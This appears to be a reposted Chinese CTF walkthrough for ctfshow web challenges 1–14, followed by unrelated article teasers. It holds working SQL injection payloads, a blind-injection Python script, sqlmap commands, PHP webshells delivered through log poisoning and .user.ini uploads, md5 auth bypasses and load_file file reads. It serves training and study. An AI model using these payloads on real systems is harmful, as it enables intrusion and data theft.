ctfshow web web签到--web14

news2024/11/15 19:46:33

web签到

查看源代码解码即可

web2

SQL注入,我之前是没遇到这种格式的长了新姿势

' or 1=1 union select 1,database(),3 limit 1,2;#

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 limit 1,2;#

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name ='flag' limit 0,1),3 limit 1,2;#

' or 1=1 union select 1,(select flag from flag),3 limit 1,2;#

web3

php伪协议,不知道flag文件所以不能用

php://filter/read=convert.base64-encode/resource=flag.php

用输入流php://input
然后POST 传参

<?=system('cat c*');?>

web4

?file=/var/log/nginx/access.log

日志文件包含改UA头为小马

<?=eval($_POST[1]);?>

antsword链接,免得去上级目录找

web5

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

v1必须为字母v2必须为数字

?v1=QNKCDZO&v2=240610708

web6

or和空格被过滤

sqlmap -u https://82548fa4-52ed-4d0a-ad72-c8c2585fd291.challenge.ctf.show/index.php?id=1 --tamper=space2comment --data="username=1&password=1" -D web2 -T flag -C flag --dump

我想手注的,但是不知道为什么没有回显了只能sqlmap了

web7

先扫的后台没啥用
现在发现这个页面像sql注入
可以手注空格绕过,但是我的还是没有回显

sqlmap -u https://7f5914a5-e5d9-465a-aca7-43152dcc8bea.challenge.ctf.show/index.php?id=3 --data="username=1&password=1" --tamper=space2comment -D web7 -T flag --dump

web8

import requests

url = 'http://ff2620fd-933a-4a76-bdbf-b814f4afabe3.challenge.ctf.show/index.php?id=3/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))

        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()
            

web9

这道题我很熟悉但是一时半会想不起来了

扫后台
在这里插入图片描述在这里插入图片描述

对于函数md5(string,raw)
第二个参数有以下可选项:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

那么我们就需要用特殊的密码

ffifdyop         //之前遇到过但是忘了在哪里了,也是验证管理员身份
129581926211651571912466741651878684928
理论上这两个都行但是由于限制了10

这样子就能在转化二进制的时候有'or' xxxx那么
password ='or' xxxx'刚好闭合,管理员身份就过了

web10

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

我们并不知道密码,这里用with rollup绕过

引用一个师傅的话:
with rollup:   要配合 group by 一块儿使用,
”group by password with rollup”,
简单说一下,就是使用with rollup 查询以后,查询结果集合里面会多一条NULL 记录,
这一题利用NULL 和空字符相等,而后获得flag。
所以我们就是要通过with rollup使sql语句查询结果为null,
然后不输入password使password为null
'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

web11

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

我们只要session也为空即可

web12

查看源码发现提示
在这里插入图片描述本来是想直接命令执行的,发现过滤了就用这个来看目录

?cmd=print_r(scandir('./'));

?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

web13

在这里插入图片描述
并没有说啥
上传一个png文件
在这里插入图片描述在这里插入图片描述
回显是成功了但是利用不上
这里就是用.user.ini文件来处理

auto_prepend_file=1.txt
通过备份文件查看源码
upload.php.bak
<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

查看源码原来我们的木马太长了

<?php eval($_GET['a']);

web14

 <?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__); 

要让回显有用的东西我们不可能回显几万,靶机都没了,所有挨着试

?c=3 获得here_1s_your_f1ag.php

访问F12获得查询语句

if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}

显然我们不能用正常的SQL注入了

虽然有mysql.innodb_table_stats和mysql.innodb_index_stats来代替但是别忘了我们前面有一个secret.php没用呢
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
我先还在上面的payload直接加的但是错了,然后必须-1才能注入成功
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1793711.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

招待宴请、工作餐、加班餐,YonSuite让企业支出餐餐可控

随着企业规模的不断扩大和员工需求的日益多样化&#xff0c;餐饮管理成为了企业日常运营中不可忽视的一环。传统的餐饮管理方式&#xff0c;如员工垫付、手工报销、招待费用高、费用去向不明等&#xff0c;不仅效率低下&#xff0c;而且难以实时掌控支出情况&#xff0c;给企业…

减肥经验分享,坚持好的习惯。

今天早上看到一篇丁香医生的液断减肥&#xff0c;看到评论&#xff0c;很多人都觉得减肥很难&#xff0c;都在常年减肥&#xff0c;于是想给大家分享一下我的减肥经验。 目录 一 自我介绍 二 减肥四个阶段 第一阶段 少吃主食 第二阶段 不吃主食 第三阶段 黄瓜鸡蛋 第四阶…

HTML开发 Vue2.x + Element-UI 动态生成表单项并添加表单校验

基于vue2.x 和element-ui 动态生成表单项并添加表单校验&#xff1b; 1、需求问题 如下图&#xff0c;项目有个需求&#xff0c;点击添加按钮&#xff0c;新增一行设备信息&#xff0c;且每项信息必填&#xff1b; 2、代码 看到这个需求&#xff0c;首先想到要使用v-for的形…

python 巡检报告中的邮件处理

00.创作背景,在每天的巡检报告中要 要检查oa相关服务器的备份作业是否备份成功 那个备份软件有个功能&#xff0c;就是完成备份作业后&#xff0c;可以发送信息到我的邮箱。 01.通过检查我邮箱的信息&#xff0c;就可以了解那个备份作业的情况。 通过解释邮件的名称可以了解备…

618大促该买哪些数码好物?数码好物选购清单来啦,闭眼不踩坑!

618年中大促&#xff0c;无疑是一场数码爱好者的盛宴&#xff0c;在这个时刻&#xff0c;各大品牌和商家纷纷推出超值优惠&#xff0c;让众多心仪的数码产品以历史最低价呈现在消费者面前。面对如此丰富的选择&#xff0c;你是否也在犹豫哪些数码好物值得在这个节点入手呢&…

斯坦福 AI 团队被指抄袭清华大模型:细节揭秘

近日&#xff0c;斯坦福AI团队因发布的AI模型被指抄袭清华大学的研究成果而陷入争议。本文将详细探讨这一事件的背景、关键细节及其对开源社区的影响。 事件背景 斯坦福的AI团队发布了一个名为“LLaMA-3V”的模型&#xff0c;声称只花了500美元且只用了GPT-4的1%的体量便达到…

在Windows中使用svn的命令行

windows下使用svn命令行_svn命令行工具在哪里-CSDN博客 先下载命令行工具 再进行配置 set SVN_CMD_HOMEC:\Users\admin\Desktop\Apache-Subversion-1.14.0\bin(你的安装路径) set path%path%;%SVN_CMD_HOME% svn help查看svn版本 命令行查看svn版本--真实有效_svn 版本查看…

解决微信小程序分享按钮不可用

问题描述 在微信小程序中点击胶囊按钮上的三个点&#xff0c;在弹出的对话框中的【分享给好友】【分享到朋友圈】按钮都属于不可用的状态&#xff0c;显示未设置。 问题截图 解决方案 在每个需要此功能的页面都需要添加此代码&#xff0c;否则就不能进行使用。 // vue3时&l…

QT系列教程(8) QT 布局学习

简介 Qt 中的布局有三种方式&#xff0c;水平布局&#xff0c;垂直布局&#xff0c;栅格布局。 通过ui设置布局 我们先创建一个窗口应用程序&#xff0c;程序名叫layout&#xff0c;基类选择QMainWindow。但我们不使用这个mainwindow&#xff0c;我们创建一个Qt应用程序类Log…

LLM系列: LLama2

推理流程 从输入文本&#xff0c;到推理输出文本&#xff0c;LLama2模型处理流程如下&#xff1a; step1 Tokenization 输入数据&#xff1a;一个句子或一段话。通常表示成单词或字符序列。 Tokenization即对文本按单词或字符序列切分&#xff0c;形成Token序列。Token序列再…

跑mask2former(自用)

1. 运行docker 基本命令&#xff1a; sudo docker ps -a &#xff08;列出所有容器状态&#xff09; sudo docker run -dit -v /hdd/lyh/mask2former:/mask --gpus "device0,1" --shm-size 16G --name mask 11.1:v6 &#xff08;创建docker容器&…

RocketMQ教程(一):RocketMQ的基本概念

RocketMQ是什么? RocketMQ 是一个分布式消息中间件和流计算平台,由阿里巴巴团队开源并贡献给 Apache 软件基金会,现为 Apache 顶级项目。它主要用于处理大规模数据的传输问题,支持高吞吐量、高可用性和可扩展性的消息发布和订阅服务。RocketMQ 能够确保消息的可靠传输,支持…

C# Web控件与数据感应之 填充 HtmlTable

目录 关于 HtmlTable HtmlTable与BaseDataList的区别 准备数据源 ​范例运行环境 FillTable 方法 设计与实现 模板样例输出 Automatic 模式填充 ​ DynamicRows 模式填充 StaticRows 模式填充 ​ 小结 关于 HtmlTable 数据感应也即数据捆绑&#xff0c;是…

C语言指针与数组名的联系

目录 一、数组名的理解 a.数组名代表数组首元素的地址 b. 两个例外 二、使用指针来访问数组 三、一维数组传参的本质 一、数组名的理解 a.数组名代表数组首元素的地址 我们在使用指针访问数组的内容时&#xff0c;有这样的代码&#xff1a; int arr[10] {1,2,3,4,5,6,7,…

智慧园区智能化系统整体解决方案(111页PPT)

方案介绍&#xff1a; 智慧园区智能化系统整体解决方案是一个综合性的管理平台&#xff0c;它通过集成视频、报警、园区一卡通、产线管理、能耗管理、公共广播、信息发布等多种系统&#xff0c;实现园区的全方位智能化管理。该系统以基础管理平台为系统基础&#xff0c;提供系…

TPM 是什么?如何查看电脑的 TPM?

TPM 是什么&#xff1f; 首先我们来了解一下 TPM 是什么&#xff0c;TPM 由可信计算组织&#xff08;Trusted Computing Group&#xff0c;TCG&#xff09;开发&#xff0c;为了在提高计算机系统的安全性。随着网络安全威胁的不断增加&#xff0c;TPM 技术逐渐成为确保系统安全…

git-生成SSH密钥

git-生成SSH密钥 1 打开命令窗口2 操作 1 打开命令窗口 选择"Git Bash Here"&#xff0c;打开Git命令窗口 2 操作 查看当前用户名称 git config user.name配置你的邮箱&#xff0c;“6xxxqq.com” 填写自己的邮箱 git config --global user.email "6xxxqq…

【Oracle篇】rman全库异机恢复:从RAC环境到单机测试环境的转移(第四篇,总共八篇)

&#x1f4ab;《博主介绍》&#xff1a;✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ &#x1f4ab;《擅长领域》&#xff1a;✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux&#xff0c;也在扩展大数据方向的知识面✌️…

STC90C51驱动LCD1602、LCD12864、OLED

主控芯片&#xff08;STC90C516RDPG5151028&#xff09;介绍 ROM64K,RAM1280字节&#xff0c;40Pin&#xff0c;3个定时器&#xff0c;1个串口&#xff0c;8个中断源&#xff08;分别是&#xff1a;外部中断0(INTO)、外部中断 1(INT1)、外部中断 2(INT2)、外部中断 3(INT3)、定…

线性dp+数论分块,1561D1 - Up the Strip

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 1561D1 - Up the Strip (simplified version) 二、解题报告 1、思路分析 一眼dp 写出dp方程&#xff1a; 前者维护前缀和即可O(1)转移 后者呢&#xff1f;——整除分块数论分块问题-CSDN博客 简单叙述下…